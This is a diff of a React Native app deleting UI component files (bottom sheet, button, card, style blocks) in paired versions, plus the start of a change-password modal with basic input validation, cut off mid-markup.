||||
flex: 1,
|
||||
marginLeft: 12,
|
||||
},
|
||||
nameRow: {
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
marginBottom: 4,
|
||||
},
|
||||
symbol: {
|
||||
fontSize: 18,
|
||||
fontWeight: '700',
|
||||
color: '#000',
|
||||
},
|
||||
balance: {
|
||||
fontSize: 18,
|
||||
fontWeight: '600',
|
||||
color: '#000',
|
||||
},
|
||||
detailsRow: {
|
||||
flexDirection: 'row',
|
||||
justifyContent: 'space-between',
|
||||
alignItems: 'center',
|
||||
},
|
||||
name: {
|
||||
fontSize: 14,
|
||||
color: '#666',
|
||||
},
|
||||
value: {
|
||||
fontSize: 14,
|
||||
color: '#666',
|
||||
},
|
||||
changeContainer: {
|
||||
marginTop: 8,
|
||||
alignItems: 'flex-end',
|
||||
},
|
||||
change: {
|
||||
fontSize: 12,
|
||||
fontWeight: '600',
|
||||
},
|
||||
});
|
||||
@@ -1,162 +0,0 @@
|
||||
import React, { useEffect, useRef } from 'react';
|
||||
import {
|
||||
View,
|
||||
Text,
|
||||
Modal,
|
||||
Animated,
|
||||
Pressable,
|
||||
StyleSheet,
|
||||
Dimensions,
|
||||
PanResponder,
|
||||
} from 'react-native';
|
||||
import { AppColors } from '../theme/colors';
|
||||
|
||||
const { height: SCREEN_HEIGHT } = Dimensions.get('window');
|
||||
|
||||
interface BottomSheetProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
title?: string;
|
||||
children: React.ReactNode;
|
||||
height?: number;
|
||||
showHandle?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modern Bottom Sheet Component
|
||||
* Swipe to dismiss, smooth animations
|
||||
*/
|
||||
export const BottomSheet: React.FC<BottomSheetProps> = ({
|
||||
visible,
|
||||
onClose,
|
||||
title,
|
||||
children,
|
||||
height = SCREEN_HEIGHT * 0.6,
|
||||
showHandle = true,
|
||||
}) => {
|
||||
const translateY = useRef(new Animated.Value(height)).current;
|
||||
const panResponder = useRef(
|
||||
PanResponder.create({
|
||||
onStartShouldSetPanResponder: () => true,
|
||||
onMoveShouldSetPanResponder: (_, gestureState) => {
|
||||
return gestureState.dy > 5;
|
||||
},
|
||||
onPanResponderMove: (_, gestureState) => {
|
||||
if (gestureState.dy > 0) {
|
||||
translateY.setValue(gestureState.dy);
|
||||
}
|
||||
},
|
||||
onPanResponderRelease: (_, gestureState) => {
|
||||
if (gestureState.dy > 100) {
|
||||
closeSheet();
|
||||
} else {
|
||||
Animated.spring(translateY, {
|
||||
toValue: 0,
|
||||
useNativeDriver: true,
|
||||
}).start();
|
||||
}
|
||||
},
|
||||
})
|
||||
).current;
|
||||
|
||||
const openSheet = React.useCallback(() => {
|
||||
Animated.spring(translateY, {
|
||||
toValue: 0,
|
||||
useNativeDriver: true,
|
||||
damping: 20,
|
||||
}).start();
|
||||
}, [translateY]);
|
||||
|
||||
useEffect(() => {
|
||||
if (visible) {
|
||||
openSheet();
|
||||
}
|
||||
}, [visible, openSheet]);
|
||||
|
||||
const closeSheet = () => {
|
||||
Animated.timing(translateY, {
|
||||
toValue: height,
|
||||
duration: 250,
|
||||
useNativeDriver: true,
|
||||
}).start(() => {
|
||||
onClose();
|
||||
});
|
||||
};
|
||||
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
transparent
|
||||
animationType="fade"
|
||||
onRequestClose={closeSheet}
|
||||
>
|
||||
<View style={styles.overlay}>
|
||||
<Pressable style={styles.backdrop} onPress={closeSheet} />
|
||||
<Animated.View
|
||||
style={[
|
||||
styles.sheet,
|
||||
{ height, transform: [{ translateY }] },
|
||||
]}
|
||||
{...panResponder.panHandlers}
|
||||
>
|
||||
{showHandle && (
|
||||
<View style={styles.handleContainer}>
|
||||
<View style={styles.handle} />
|
||||
</View>
|
||||
)}
|
||||
{title && (
|
||||
<View style={styles.header}>
|
||||
<Text style={styles.title}>{title}</Text>
|
||||
</View>
|
||||
)}
|
||||
<View style={styles.content}>{children}</View>
|
||||
</Animated.View>
|
||||
</View>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
overlay: {
|
||||
flex: 1,
|
||||
justifyContent: 'flex-end',
|
||||
},
|
||||
backdrop: {
|
||||
...StyleSheet.absoluteFillObject,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
},
|
||||
sheet: {
|
||||
backgroundColor: AppColors.surface,
|
||||
borderTopLeftRadius: 24,
|
||||
borderTopRightRadius: 24,
|
||||
paddingBottom: 34, // Safe area
|
||||
boxShadow: '0px -4px 12px rgba(0, 0, 0, 0.15)',
|
||||
elevation: 20,
|
||||
},
|
||||
handleContainer: {
|
||||
alignItems: 'center',
|
||||
paddingTop: 12,
|
||||
paddingBottom: 8,
|
||||
},
|
||||
handle: {
|
||||
width: 40,
|
||||
height: 4,
|
||||
borderRadius: 2,
|
||||
backgroundColor: AppColors.border,
|
||||
},
|
||||
header: {
|
||||
paddingHorizontal: 20,
|
||||
paddingVertical: 16,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: AppColors.border,
|
||||
},
|
||||
title: {
|
||||
fontSize: 20,
|
||||
fontWeight: '700',
|
||||
color: AppColors.text,
|
||||
},
|
||||
content: {
|
||||
flex: 1,
|
||||
padding: 20,
|
||||
},
|
||||
});
|
||||
@@ -1,165 +0,0 @@
|
||||
import React, { useEffect, useRef } from 'react';
|
||||
import {
|
||||
View,
|
||||
Text,
|
||||
Modal,
|
||||
Animated,
|
||||
Pressable,
|
||||
StyleSheet,
|
||||
Dimensions,
|
||||
PanResponder,
|
||||
} from 'react-native';
|
||||
import { AppColors } from '../theme/colors';
|
||||
|
||||
const { height: SCREEN_HEIGHT } = Dimensions.get('window');
|
||||
|
||||
interface BottomSheetProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
title?: string;
|
||||
children: React.ReactNode;
|
||||
height?: number;
|
||||
showHandle?: boolean;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modern Bottom Sheet Component
|
||||
* Swipe to dismiss, smooth animations
|
||||
*/
|
||||
export const BottomSheet: React.FC<BottomSheetProps> = ({
|
||||
visible,
|
||||
onClose,
|
||||
title,
|
||||
children,
|
||||
height = SCREEN_HEIGHT * 0.6,
|
||||
showHandle = true,
|
||||
}) => {
|
||||
const translateY = useRef(new Animated.Value(height)).current;
|
||||
const panResponder = useRef(
|
||||
PanResponder.create({
|
||||
onStartShouldSetPanResponder: () => true,
|
||||
onMoveShouldSetPanResponder: (_, gestureState) => {
|
||||
return gestureState.dy > 5;
|
||||
},
|
||||
onPanResponderMove: (_, gestureState) => {
|
||||
if (gestureState.dy > 0) {
|
||||
translateY.setValue(gestureState.dy);
|
||||
}
|
||||
},
|
||||
onPanResponderRelease: (_, gestureState) => {
|
||||
if (gestureState.dy > 100) {
|
||||
closeSheet();
|
||||
} else {
|
||||
Animated.spring(translateY, {
|
||||
toValue: 0,
|
||||
useNativeDriver: true,
|
||||
}).start();
|
||||
}
|
||||
},
|
||||
})
|
||||
).current;
|
||||
|
||||
const openSheet = React.useCallback(() => {
|
||||
Animated.spring(translateY, {
|
||||
toValue: 0,
|
||||
useNativeDriver: true,
|
||||
damping: 20,
|
||||
}).start();
|
||||
}, [translateY]);
|
||||
|
||||
useEffect(() => {
|
||||
if (visible) {
|
||||
openSheet();
|
||||
}
|
||||
}, [visible, openSheet]);
|
||||
|
||||
const closeSheet = () => {
|
||||
Animated.timing(translateY, {
|
||||
toValue: height,
|
||||
duration: 250,
|
||||
useNativeDriver: true,
|
||||
}).start(() => {
|
||||
onClose();
|
||||
});
|
||||
};
|
||||
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
transparent
|
||||
animationType="fade"
|
||||
onRequestClose={closeSheet}
|
||||
>
|
||||
<View style={styles.overlay}>
|
||||
<Pressable style={styles.backdrop} onPress={closeSheet} />
|
||||
<Animated.View
|
||||
style={[
|
||||
styles.sheet,
|
||||
{ height, transform: [{ translateY }] },
|
||||
]}
|
||||
{...panResponder.panHandlers}
|
||||
>
|
||||
{showHandle && (
|
||||
<View style={styles.handleContainer}>
|
||||
<View style={styles.handle} />
|
||||
</View>
|
||||
)}
|
||||
{title && (
|
||||
<View style={styles.header}>
|
||||
<Text style={styles.title}>{title}</Text>
|
||||
</View>
|
||||
)}
|
||||
<View style={styles.content}>{children}</View>
|
||||
</Animated.View>
|
||||
</View>
|
||||
</Modal>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
overlay: {
|
||||
flex: 1,
|
||||
justifyContent: 'flex-end',
|
||||
},
|
||||
backdrop: {
|
||||
...StyleSheet.absoluteFillObject,
|
||||
backgroundColor: 'rgba(0, 0, 0, 0.5)',
|
||||
},
|
||||
sheet: {
|
||||
backgroundColor: AppColors.surface,
|
||||
borderTopLeftRadius: 24,
|
||||
borderTopRightRadius: 24,
|
||||
paddingBottom: 34, // Safe area
|
||||
shadowColor: '#000',
|
||||
shadowOffset: { width: 0, height: -4 },
|
||||
shadowOpacity: 0.15,
|
||||
shadowRadius: 12,
|
||||
elevation: 20,
|
||||
},
|
||||
handleContainer: {
|
||||
alignItems: 'center',
|
||||
paddingTop: 12,
|
||||
paddingBottom: 8,
|
||||
},
|
||||
handle: {
|
||||
width: 40,
|
||||
height: 4,
|
||||
borderRadius: 2,
|
||||
backgroundColor: AppColors.border,
|
||||
},
|
||||
header: {
|
||||
paddingHorizontal: 20,
|
||||
paddingVertical: 16,
|
||||
borderBottomWidth: 1,
|
||||
borderBottomColor: AppColors.border,
|
||||
},
|
||||
title: {
|
||||
fontSize: 20,
|
||||
fontWeight: '700',
|
||||
color: AppColors.text,
|
||||
},
|
||||
content: {
|
||||
flex: 1,
|
||||
padding: 20,
|
||||
},
|
||||
});
|
||||
@@ -1,179 +0,0 @@
|
||||
import React from 'react';
|
||||
import {
|
||||
Pressable,
|
||||
Text,
|
||||
StyleSheet,
|
||||
ActivityIndicator,
|
||||
ViewStyle,
|
||||
TextStyle,
|
||||
} from 'react-native';
|
||||
import { AppColors, KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface ButtonProps {
|
||||
title: string;
|
||||
onPress: () => void;
|
||||
variant?: 'primary' | 'secondary' | 'outline' | 'ghost' | 'danger';
|
||||
size?: 'small' | 'medium' | 'large';
|
||||
loading?: boolean;
|
||||
disabled?: boolean;
|
||||
fullWidth?: boolean;
|
||||
style?: ViewStyle;
|
||||
textStyle?: TextStyle;
|
||||
icon?: React.ReactNode;
|
||||
testID?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modern Button Component
|
||||
* Uses Kurdistan colors for primary branding
|
||||
*/
|
||||
export const Button: React.FC<ButtonProps> = ({
|
||||
title,
|
||||
onPress,
|
||||
variant = 'primary',
|
||||
size = 'medium',
|
||||
loading = false,
|
||||
disabled = false,
|
||||
fullWidth = false,
|
||||
style,
|
||||
textStyle,
|
||||
icon,
|
||||
testID,
|
||||
}) => {
|
||||
const isDisabled = disabled || loading;
|
||||
|
||||
const buttonStyle = [
|
||||
styles.base,
|
||||
styles[variant],
|
||||
styles[`${size}Size`],
|
||||
fullWidth && styles.fullWidth,
|
||||
isDisabled && styles.disabled,
|
||||
style,
|
||||
];
|
||||
|
||||
const textStyles = [
|
||||
styles.text,
|
||||
styles[`${variant}Text`],
|
||||
styles[`${size}Text`],
|
||||
isDisabled && styles.disabledText,
|
||||
textStyle,
|
||||
];
|
||||
|
||||
return (
|
||||
<Pressable
|
||||
testID={testID}
|
||||
onPress={onPress}
|
||||
disabled={isDisabled}
|
||||
style={({ pressed }) => [
|
||||
...buttonStyle,
|
||||
pressed && !isDisabled && styles.pressed,
|
||||
]}
|
||||
>
|
||||
{loading ? (
|
||||
<ActivityIndicator
|
||||
color={variant === 'primary' || variant === 'danger' ? '#FFFFFF' : AppColors.primary}
|
||||
/>
|
||||
) : (
|
||||
<>
|
||||
{icon}
|
||||
<Text style={textStyles}>{title}</Text>
|
||||
</>
|
||||
)}
|
||||
</Pressable>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
base: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
borderRadius: 12,
|
||||
paddingHorizontal: 24,
|
||||
paddingVertical: 12,
|
||||
},
|
||||
// Variants
|
||||
primary: {
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
boxShadow: '0px 4px 8px rgba(0, 128, 0, 0.3)',
|
||||
elevation: 4,
|
||||
},
|
||||
secondary: {
|
||||
backgroundColor: KurdistanColors.zer,
|
||||
boxShadow: '0px 4px 6px rgba(255, 215, 0, 0.2)',
|
||||
elevation: 3,
|
||||
},
|
||||
outline: {
|
||||
backgroundColor: 'transparent',
|
||||
borderWidth: 2,
|
||||
borderColor: KurdistanColors.kesk,
|
||||
},
|
||||
ghost: {
|
||||
backgroundColor: 'transparent',
|
||||
},
|
||||
danger: {
|
||||
backgroundColor: KurdistanColors.sor,
|
||||
boxShadow: '0px 4px 8px rgba(255, 0, 0, 0.3)',
|
||||
elevation: 4,
|
||||
},
|
||||
// Sizes
|
||||
smallSize: {
|
||||
paddingHorizontal: 16,
|
||||
paddingVertical: 8,
|
||||
borderRadius: 8,
|
||||
},
|
||||
mediumSize: {
|
||||
paddingHorizontal: 24,
|
||||
paddingVertical: 12,
|
||||
borderRadius: 12,
|
||||
},
|
||||
largeSize: {
|
||||
paddingHorizontal: 32,
|
||||
paddingVertical: 16,
|
||||
borderRadius: 16,
|
||||
},
|
||||
fullWidth: {
|
||||
width: '100%',
|
||||
},
|
||||
disabled: {
|
||||
opacity: 0.5,
|
||||
boxShadow: 'none',
|
||||
elevation: 0,
|
||||
},
|
||||
pressed: {
|
||||
opacity: 0.8,
|
||||
transform: [{ scale: 0.97 }],
|
||||
},
|
||||
// Text styles
|
||||
text: {
|
||||
fontWeight: '600',
|
||||
textAlign: 'center',
|
||||
},
|
||||
primaryText: {
|
||||
color: '#FFFFFF',
|
||||
},
|
||||
secondaryText: {
|
||||
color: '#000000',
|
||||
},
|
||||
outlineText: {
|
||||
color: KurdistanColors.kesk,
|
||||
},
|
||||
ghostText: {
|
||||
color: KurdistanColors.kesk,
|
||||
},
|
||||
dangerText: {
|
||||
color: '#FFFFFF',
|
||||
},
|
||||
smallText: {
|
||||
fontSize: 14,
|
||||
},
|
||||
mediumText: {
|
||||
fontSize: 16,
|
||||
},
|
||||
largeText: {
|
||||
fontSize: 18,
|
||||
},
|
||||
disabledText: {
|
||||
opacity: 0.7,
|
||||
},
|
||||
});
|
||||
@@ -1,188 +0,0 @@
|
||||
import React from 'react';
|
||||
import {
|
||||
Pressable,
|
||||
Text,
|
||||
StyleSheet,
|
||||
ActivityIndicator,
|
||||
ViewStyle,
|
||||
TextStyle,
|
||||
} from 'react-native';
|
||||
import { AppColors, KurdistanColors } from '../theme/colors';
|
||||
|
||||
interface ButtonProps {
|
||||
title: string;
|
||||
onPress: () => void;
|
||||
variant?: 'primary' | 'secondary' | 'outline' | 'ghost' | 'danger';
|
||||
size?: 'small' | 'medium' | 'large';
|
||||
loading?: boolean;
|
||||
disabled?: boolean;
|
||||
fullWidth?: boolean;
|
||||
style?: ViewStyle;
|
||||
textStyle?: TextStyle;
|
||||
icon?: React.ReactNode;
|
||||
testID?: string;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modern Button Component
|
||||
* Uses Kurdistan colors for primary branding
|
||||
*/
|
||||
export const Button: React.FC<ButtonProps> = ({
|
||||
title,
|
||||
onPress,
|
||||
variant = 'primary',
|
||||
size = 'medium',
|
||||
loading = false,
|
||||
disabled = false,
|
||||
fullWidth = false,
|
||||
style,
|
||||
textStyle,
|
||||
icon,
|
||||
testID,
|
||||
}) => {
|
||||
const isDisabled = disabled || loading;
|
||||
|
||||
const buttonStyle = [
|
||||
styles.base,
|
||||
styles[variant],
|
||||
styles[`${size}Size`],
|
||||
fullWidth && styles.fullWidth,
|
||||
isDisabled && styles.disabled,
|
||||
style,
|
||||
];
|
||||
|
||||
const textStyles = [
|
||||
styles.text,
|
||||
styles[`${variant}Text`],
|
||||
styles[`${size}Text`],
|
||||
isDisabled && styles.disabledText,
|
||||
textStyle,
|
||||
];
|
||||
|
||||
return (
|
||||
<Pressable
|
||||
testID={testID}
|
||||
onPress={onPress}
|
||||
disabled={isDisabled}
|
||||
style={({ pressed }) => [
|
||||
...buttonStyle,
|
||||
pressed && !isDisabled && styles.pressed,
|
||||
]}
|
||||
>
|
||||
{loading ? (
|
||||
<ActivityIndicator
|
||||
color={variant === 'primary' || variant === 'danger' ? '#FFFFFF' : AppColors.primary}
|
||||
/>
|
||||
) : (
|
||||
<>
|
||||
{icon}
|
||||
<Text style={textStyles}>{title}</Text>
|
||||
</>
|
||||
)}
|
||||
</Pressable>
|
||||
);
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
base: {
|
||||
flexDirection: 'row',
|
||||
alignItems: 'center',
|
||||
justifyContent: 'center',
|
||||
borderRadius: 12,
|
||||
paddingHorizontal: 24,
|
||||
paddingVertical: 12,
|
||||
},
|
||||
// Variants
|
||||
primary: {
|
||||
backgroundColor: KurdistanColors.kesk,
|
||||
shadowColor: KurdistanColors.kesk,
|
||||
shadowOffset: { width: 0, height: 4 },
|
||||
shadowOpacity: 0.3,
|
||||
shadowRadius: 8,
|
||||
elevation: 4,
|
||||
},
|
||||
secondary: {
|
||||
backgroundColor: KurdistanColors.zer,
|
||||
shadowColor: KurdistanColors.zer,
|
||||
shadowOffset: { width: 0, height: 4 },
|
||||
shadowOpacity: 0.2,
|
||||
shadowRadius: 6,
|
||||
elevation: 3,
|
||||
},
|
||||
outline: {
|
||||
backgroundColor: 'transparent',
|
||||
borderWidth: 2,
|
||||
borderColor: KurdistanColors.kesk,
|
||||
},
|
||||
ghost: {
|
||||
backgroundColor: 'transparent',
|
||||
},
|
||||
danger: {
|
||||
backgroundColor: KurdistanColors.sor,
|
||||
shadowColor: KurdistanColors.sor,
|
||||
shadowOffset: { width: 0, height: 4 },
|
||||
shadowOpacity: 0.3,
|
||||
shadowRadius: 8,
|
||||
elevation: 4,
|
||||
},
|
||||
// Sizes
|
||||
smallSize: {
|
||||
paddingHorizontal: 16,
|
||||
paddingVertical: 8,
|
||||
borderRadius: 8,
|
||||
},
|
||||
mediumSize: {
|
||||
paddingHorizontal: 24,
|
||||
paddingVertical: 12,
|
||||
borderRadius: 12,
|
||||
},
|
||||
largeSize: {
|
||||
paddingHorizontal: 32,
|
||||
paddingVertical: 16,
|
||||
borderRadius: 16,
|
||||
},
|
||||
fullWidth: {
|
||||
width: '100%',
|
||||
},
|
||||
disabled: {
|
||||
opacity: 0.5,
|
||||
shadowOpacity: 0,
|
||||
elevation: 0,
|
||||
},
|
||||
pressed: {
|
||||
opacity: 0.8,
|
||||
transform: [{ scale: 0.97 }],
|
||||
},
|
||||
// Text styles
|
||||
text: {
|
||||
fontWeight: '600',
|
||||
textAlign: 'center',
|
||||
},
|
||||
primaryText: {
|
||||
color: '#FFFFFF',
|
||||
},
|
||||
secondaryText: {
|
||||
color: '#000000',
|
||||
},
|
||||
outlineText: {
|
||||
color: KurdistanColors.kesk,
|
||||
},
|
||||
ghostText: {
|
||||
color: KurdistanColors.kesk,
|
||||
},
|
||||
dangerText: {
|
||||
color: '#FFFFFF',
|
||||
},
|
||||
smallText: {
|
||||
fontSize: 14,
|
||||
},
|
||||
mediumText: {
|
||||
fontSize: 16,
|
||||
},
|
||||
largeText: {
|
||||
fontSize: 18,
|
||||
},
|
||||
disabledText: {
|
||||
opacity: 0.7,
|
||||
},
|
||||
});
|
||||
@@ -1,98 +0,0 @@
|
||||
import React from 'react';
|
||||
import { View, StyleSheet, ViewStyle, Pressable, Text } from 'react-native';
|
||||
import { AppColors } from '../theme/colors';
|
||||
|
||||
interface CardProps {
|
||||
children: React.ReactNode;
|
||||
title?: string;
|
||||
style?: ViewStyle;
|
||||
onPress?: () => void;
|
||||
variant?: 'elevated' | 'outlined' | 'filled';
|
||||
testID?: string;
|
||||
elevation?: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modern Card Component
|
||||
* Inspired by Material Design 3 and Kurdistan aesthetics
|
||||
*/
|
||||
export const Card: React.FC<CardProps> = ({
|
||||
children,
|
||||
title,
|
||||
style,
|
||||
onPress,
|
||||
variant = 'elevated',
|
||||
testID,
|
||||
elevation,
|
||||
}) => {
|
||||
const cardStyle = [
|
||||
styles.card,
|
||||
variant === 'elevated' && styles.elevated,
|
||||
variant === 'outlined' && styles.outlined,
|
||||
variant === 'filled' && styles.filled,
|
||||
elevation && { elevation },
|
||||
style,
|
||||
];
|
||||
|
||||
const content = (
|
||||
<>
|
||||
{title && <Text style={styles.title}>{title}</Text>}
|
||||
{children}
|
||||
</>
|
||||
);
|
||||
|
||||
if (onPress) {
|
||||
return (
|
||||
<Pressable
|
||||
testID={testID}
|
||||
onPress={onPress}
|
||||
style={({ pressed }) => [
|
||||
styles.card,
|
||||
variant === 'elevated' && styles.elevated,
|
||||
variant === 'outlined' && styles.outlined,
|
||||
variant === 'filled' && styles.filled,
|
||||
elevation ? { elevation } : null,
|
||||
style,
|
||||
pressed && styles.pressed,
|
||||
]}
|
||||
>
|
||||
{content}
|
||||
</Pressable>
|
||||
);
|
||||
}
|
||||
|
||||
return <View testID={testID} style={cardStyle as ViewStyle[]}>{content}</View>;
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
card: {
|
||||
borderRadius: 16,
|
||||
padding: 16,
|
||||
backgroundColor: AppColors.surface,
|
||||
},
|
||||
title: {
|
||||
fontSize: 18,
|
||||
fontWeight: '600',
|
||||
color: AppColors.text,
|
||||
marginBottom: 12,
|
||||
},
|
||||
elevated: {
|
||||
boxShadow: '0px 2px 8px rgba(0, 0, 0, 0.1)',
|
||||
elevation: 4,
|
||||
},
|
||||
outlined: {
|
||||
borderWidth: 1,
|
||||
borderColor: AppColors.border,
|
||||
boxShadow: 'none',
|
||||
elevation: 0,
|
||||
},
|
||||
filled: {
|
||||
backgroundColor: AppColors.background,
|
||||
boxShadow: 'none',
|
||||
elevation: 0,
|
||||
},
|
||||
pressed: {
|
||||
opacity: 0.7,
|
||||
transform: [{ scale: 0.98 }],
|
||||
},
|
||||
});
|
||||
@@ -1,96 +0,0 @@
|
||||
import React from 'react';
|
||||
import { View, StyleSheet, ViewStyle, Pressable, Text } from 'react-native';
|
||||
import { AppColors } from '../theme/colors';
|
||||
|
||||
interface CardProps {
|
||||
children: React.ReactNode;
|
||||
title?: string;
|
||||
style?: ViewStyle;
|
||||
onPress?: () => void;
|
||||
variant?: 'elevated' | 'outlined' | 'filled';
|
||||
testID?: string;
|
||||
elevation?: number;
|
||||
}
|
||||
|
||||
/**
|
||||
* Modern Card Component
|
||||
* Inspired by Material Design 3 and Kurdistan aesthetics
|
||||
*/
|
||||
export const Card: React.FC<CardProps> = ({
|
||||
children,
|
||||
title,
|
||||
style,
|
||||
onPress,
|
||||
variant = 'elevated',
|
||||
testID,
|
||||
elevation,
|
||||
}) => {
|
||||
const cardStyle = [
|
||||
styles.card,
|
||||
variant === 'elevated' && styles.elevated,
|
||||
variant === 'outlined' && styles.outlined,
|
||||
variant === 'filled' && styles.filled,
|
||||
elevation && { elevation },
|
||||
style,
|
||||
];
|
||||
|
||||
const content = (
|
||||
<>
|
||||
{title && <Text style={styles.title}>{title}</Text>}
|
||||
{children}
|
||||
</>
|
||||
);
|
||||
|
||||
if (onPress) {
|
||||
return (
|
||||
<Pressable
|
||||
testID={testID}
|
||||
onPress={onPress}
|
||||
style={({ pressed }) => [
|
||||
...cardStyle,
|
||||
pressed && styles.pressed,
|
||||
]}
|
||||
>
|
||||
{content}
|
||||
</Pressable>
|
||||
);
|
||||
}
|
||||
|
||||
return <View testID={testID} style={cardStyle}>{content}</View>;
|
||||
};
|
||||
|
||||
const styles = StyleSheet.create({
|
||||
card: {
|
||||
borderRadius: 16,
|
||||
padding: 16,
|
||||
backgroundColor: AppColors.surface,
|
||||
},
|
||||
title: {
|
||||
fontSize: 18,
|
||||
fontWeight: '600',
|
||||
color: AppColors.text,
|
||||
marginBottom: 12,
|
||||
},
|
||||
elevated: {
|
||||
shadowColor: '#000',
|
||||
shadowOffset: { width: 0, height: 2 },
|
||||
shadowOpacity: 0.1,
|
||||
shadowRadius: 8,
|
||||
elevation: 4,
|
||||
},
|
||||
outlined: {
|
||||
borderWidth: 1,
|
||||
borderColor: AppColors.border,
|
||||
shadowOpacity: 0,
|
||||
elevation: 0,
|
||||
},
|
||||
filled: {
|
||||
backgroundColor: AppColors.background,
|
||||
shadowOpacity: 0,
|
||||
elevation: 0,
|
||||
},
|
||||
pressed: {
|
||||
opacity: 0.7,
|
||||
transform: [{ scale: 0.98 }],
|
||||
},
|
||||
});
|
||||
@@ -1,348 +0,0 @@
|
||||
import React, { useState } from 'react';
|
||||
import {
|
||||
Modal,
|
||||
View,
|
||||
Text,
|
||||
TextInput,
|
||||
TouchableOpacity,
|
||||
StyleSheet,
|
||||
Alert,
|
||||
ActivityIndicator,
|
||||
} from 'react-native';
|
||||
import { KurdistanColors } from '../theme/colors';
|
||||
import { useTheme } from '../contexts/ThemeContext';
|
||||
import { useAuth } from '../contexts/AuthContext';
|
||||
|
||||
interface ChangePasswordModalProps {
|
||||
visible: boolean;
|
||||
onClose: () => void;
|
||||
}
|
||||
|
||||
const ChangePasswordModal: React.FC<ChangePasswordModalProps> = ({
|
||||
visible,
|
||||
onClose,
|
||||
}) => {
|
||||
const { colors } = useTheme();
|
||||
const { changePassword, resetPassword, user } = useAuth();
|
||||
const [currentPassword, setCurrentPassword] = useState('');
|
||||
const [newPassword, setNewPassword] = useState('');
|
||||
const [confirmPassword, setConfirmPassword] = useState('');
|
||||
const [loading, setLoading] = useState(false);
|
||||
|
||||
const handleSubmit = async () => {
|
||||
// Validation
|
||||
if (!currentPassword) {
|
||||
Alert.alert('Error', 'Please enter your current password');
|
||||
return;
|
||||
}
|
||||
|
||||
if (!newPassword || newPassword.length < 6) {
|
||||
Alert.alert('Error', 'New password must be at least 6 characters long');
|
||||
return;
|
||||
}
|
||||
|
||||
if (newPassword !== confirmPassword) {
|
||||
Alert.alert('Error', 'Passwords do not match');
|
||||
return;
|
||||
}
|
||||
|
||||
if (currentPassword === newPassword) {
|
||||
Alert.alert('Error', 'New password must be different from current password');
|
||||
return;
|
||||
}
|
||||
|
||||
setLoading(true);
|
||||
|
||||
// First verify current password by re-authenticating
|
||||
const { error: verifyError } = await changePassword(newPassword, currentPassword);
|
||||
|
||||
setLoading(false);
|
||||
|
||||
if (verifyError) {
|
||||
Alert.alert('Error', verifyError.message || 'Failed to change password');
|
||||
} else {
|
||||
Alert.alert('Success', 'Password changed successfully');
|
||||
setCurrentPassword('');
|
||||
setNewPassword('');
|
||||
setConfirmPassword('');
|
||||
onClose();
|
||||
}
|
||||
};
|
||||
|
||||
const handleClose = () => {
|
||||
setCurrentPassword('');
|
||||
setNewPassword('');
|
||||
setConfirmPassword('');
|
||||
onClose();
|
||||
};
|
||||
|
||||
const handleForgotPassword = () => {
|
||||
if (!user?.email) {
|
||||
Alert.alert('Error', 'No email address found for this account');
|
||||
return;
|
||||
}
|
||||
|
||||
Alert.alert(
|
||||
'Reset Password',
|
||||
`A password reset link will be sent to ${user.email}`,
|
||||
[
|
||||
{ text: 'Cancel', style: 'cancel' },
|
||||
{
|
||||
text: 'Send Reset Link',
|
||||
onPress: async () => {
|
||||
const { error } = await resetPassword(user.email!);
|
||||
if (error) {
|
||||
Alert.alert('Error', error.message || 'Failed to send reset email');
|
||||
} else {
|
||||
Alert.alert('Success', 'Password reset link sent to your email. Please check your inbox.');
|
||||
handleClose();
|
||||
}
|
||||
},
|
||||
},
|
||||
]
|
||||
);
|
||||
};
|
||||
|
||||
const styles = createStyles(colors);
|
||||
|
||||
return (
|
||||
<Modal
|
||||
visible={visible}
|
||||
animationType="fade"
|
||||
transparent={true}
|
||||
onRequestClose={handleClose}
|
||||
>
|
||||
<View style={styles.overlay}>
|
||||
<View style={styles.container}>
|
||||
{/* Header */}
|
||||
<View style={styles.header}>
|
||||
<Text style={styles.headerTitle}>Change Password</Text>
|
||||
<TouchableOpacity onPress={handleClose} style={styles.closeButton}>
|
||||
<Text style={styles.closeButtonText}>✕</Text>
|
||||
</TouchableOpacity>
|
||||
</View>
|
||||
|
||||
{/* Content */}
|
||||
<View style={styles.content}>
|
||||
<Text style={styles.description}>
|
||||
To change your password, first enter your current password, then your new password.
|
||||
</Text>
|
||||
|
||||
<View style={styles.inputContainer}>
|
||||
<Text style={styles.label}>Current Password</Text>
|
||||
<TextInput
|
||||
style={styles.input}
|
||||
value={currentPassword}
|
||||
onChangeText={setCurrentPassword}
|
||||
placeholder="Enter current password"
|
||||
placeholderTextColor={colors.textSecondary}
|
||||
secureTextEntry
|
||||
autoCapitalize="none"
|
||||
editable={!loading}
|
||||
/>
|
||||
</View>
|
||||
|
||||
<View style={styles.inputContainer}>
|
||||
<Text style={styles.label}>New Password</Text>
|
||||
<TextInput
|
||||
style={styles.input}
|
||||
value={newPassword}
|
||||
onChangeText={setNewPassword}
|
||||
placeholder="Enter new password"
|
||||
placeholderTextColor={colors.textSecondary}
|
||||
secureTextEntry
|
||||
autoCapitalize="none"
|
||||
editable={!loading}
|
||||
/>
|
||||
</View>
|
||||
|
||||
<View style={styles.inputContainer}>
|
||||
<Text style={styles.label}>Confirm Password</Text>
|
||||
<TextInput
|
||||
style={styles.input}
|
||||
value={confirmPassword}
|
||||
